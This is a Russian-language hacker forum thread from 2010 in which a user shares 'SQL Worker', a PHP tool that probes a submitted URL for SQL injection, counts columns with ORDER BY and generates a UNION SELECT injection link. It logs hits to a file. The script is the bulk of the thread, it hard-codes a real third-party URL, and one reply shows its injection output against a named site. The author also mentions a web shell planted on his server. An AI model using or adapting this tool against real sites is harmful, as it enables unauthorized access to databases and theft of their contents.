Sql Worker by [ac1D]

Discussion in 'Болталка' started by [0rby], 31 Jul 2010.

  1. [0rby]

    [0rby] Banned

    Joined:
    9 Jul 2010
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Буквально за вечер накодил простенький скрипт, который подбирает колоночки к скулям по одной штуке :)
    Тыц
     
  2. Dr..VATSON

    Dr..VATSON Elder - Старейшина

    Joined:
    7 Dec 2008
    Messages:
    52
    Likes Received:
    53
    Reputations:
    18
    Базу SQL собираешь?))
     
  3. olegator

    olegator Member

    Joined:
    10 Feb 2009
    Messages:
    17
    Likes Received:
    38
    Reputations:
    0
    Молодец мэн
     
  4. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    скинь в личку скрипт плиз
     
  5. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    ввожу 1 сайт,выдает другой.
     
  6. NLZ

    NLZ New Member

    Joined:
    23 Jul 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    а ест прога для подбора колонок?
     
  7. emillord

    emillord Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    257
    Likes Received:
    444
    Reputations:
    255
    Toolza от Пашкелы
     
  8. [0rby]

    [0rby] Banned

    Joined:
    9 Jul 2010
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Сурс достанется тому кто первый похекает сайт или найдет мой шелл ))
    Поправил ошибочку одну, теперь работает как часы)
     
    #8 [0rby], 31 Jul 2010
    Last edited: 31 Jul 2010
  9. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,027
    Likes Received:
    311
    Reputations:
    86
    А я думал, хостинг в Австралии стоит очень дорого.
     
    _________________________
  10. [0rby]

    [0rby] Banned

    Joined:
    9 Jul 2010
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    PHP:
    <?php
    #####################
    #  Coded            #
    #        by         #
    #  ©2010    [ac1D]  #
    #####################
    set_time_limit(0);
    ignore_user_abort(1);
    error_reporting(0);

    if (isset(
    $_POST['site']))
    {
    function 
    gen_cols($count)
    {
        
    $deff "-999.9+union+select+";
        for (
    $i=1;$i<=$count;$i++)
        {
            
    $deff .= ",$i";
            if (
    $i == $count)
            {
                
    $deff .= "--";
                break;
            }
        }
        
    $deff str_replace("+,""+"$deff);
        return 
    $deff;
    }

    function 
    check_mysql($site)
    {
        
    $html0 file_get_contents($site."+and+1=1--");
        
    $html1 file_get_contents($site."+and+1=2--");
        if (
    $html0 != $html1)
        {
            return 
    true;
        }
        else
        {
            return 
    false;
        }
    }

    function 
    order_by($site)
    {
        
    $html0 file_get_contents($site."+order+by+999--");
        for (
    $i=1;i<30;$i++)
        {
            
    $html1 file_get_contents($site."+order+by+$i--");
            if (
    $html0 == $html1)
            {
                if (
    $i != 0)
                {
                    echo 
    "[ order by <font color=#00ff00>".($i-1)."</font> ]<br>";
                    
    flush();
                }
                return 
    $site.gen_cols(($i-1));
            }
            if (
    $i != 0)
            {
                echo 
    "[ order by <font color=#ff0000>".($i-1)."</font> ]<br>";
                
    flush();
            }
        }
    }

    $site $_POST['site'];

    if (
    check_mysql($site))
    {
        echo 
    "[ <font color=#00ff00>Vulnuruluable</font> ]<br>";
        
    flush();
        
    $sql order_by("http://www.losingtoday.com/tales.php?id=15");
        echo 
    "<a href=$sql><font color=#000000>[ $sql ]</font></a>";
        
    fputs(fopen("good.txt""a+"), $sql." [ ".$_SERVER['REMOTE_ADDR']." ]\r\n");
    }
    else
    {
        echo 
    "[ <font color=#ff0000>Not vulnuruluable</font> ]<br>";
        
    flush();
    }
    }
    else
    {
        print 
    '<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
    <html>
    <head>
    <title>Enter_Title_Here</title>
    <meta name="description" content="">
    <meta name="keywords" content="">
    <meta name="author" content="">
    <meta name="generator" content="BestAddress HTML Editor Professional">
    </head>
    <body bgcolor=#333333 text=#008899><center><br><br><br><br><br>
    <TABLE style="border: solid 1px;border-color: #008899;background-color:#333333;color: #009999" width="452">
      
      <TR>
        <TD><marquee><FONT size=4 face=consolas>Welcome to [SQL 
          Worker]</FONT></marquee><br><br></TD></TR><TR><TD>
          <Form method=POST>
          <input type=text value="http://site.com/bank.php?card=13" name=site style="border: solid 1px;border-color: #008899;background-color:#333333;color: #009999;width:75%"> - Path 2 script<br><br>
          <input type=Submit value="Check it!" style="border: solid 1px;border-color: #008899;background-color:#333333;color: #009999">      
          </form>
          </TD></TR></TABLE>
    </center>
    </body>
    </html>'
    ;
    }
    ?>
    Бог с вами) решил выложить этот скрипт, который подбирает колонки.
     
  11. olegator

    olegator Member

    Joined:
    10 Feb 2009
    Messages:
    17
    Likes Received:
    38
    Reputations:
    0
    Кстати если твой сайт проскакивать ...
    [ Vulnuruluable ]
    [ order by 0 ]
    [ order by 1 ]
    [ order by 2 ]
    [ http://www.chris-mohan.com/sqlworker/-999.9+union+select+1,2-- ]
     
  12. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Ужас.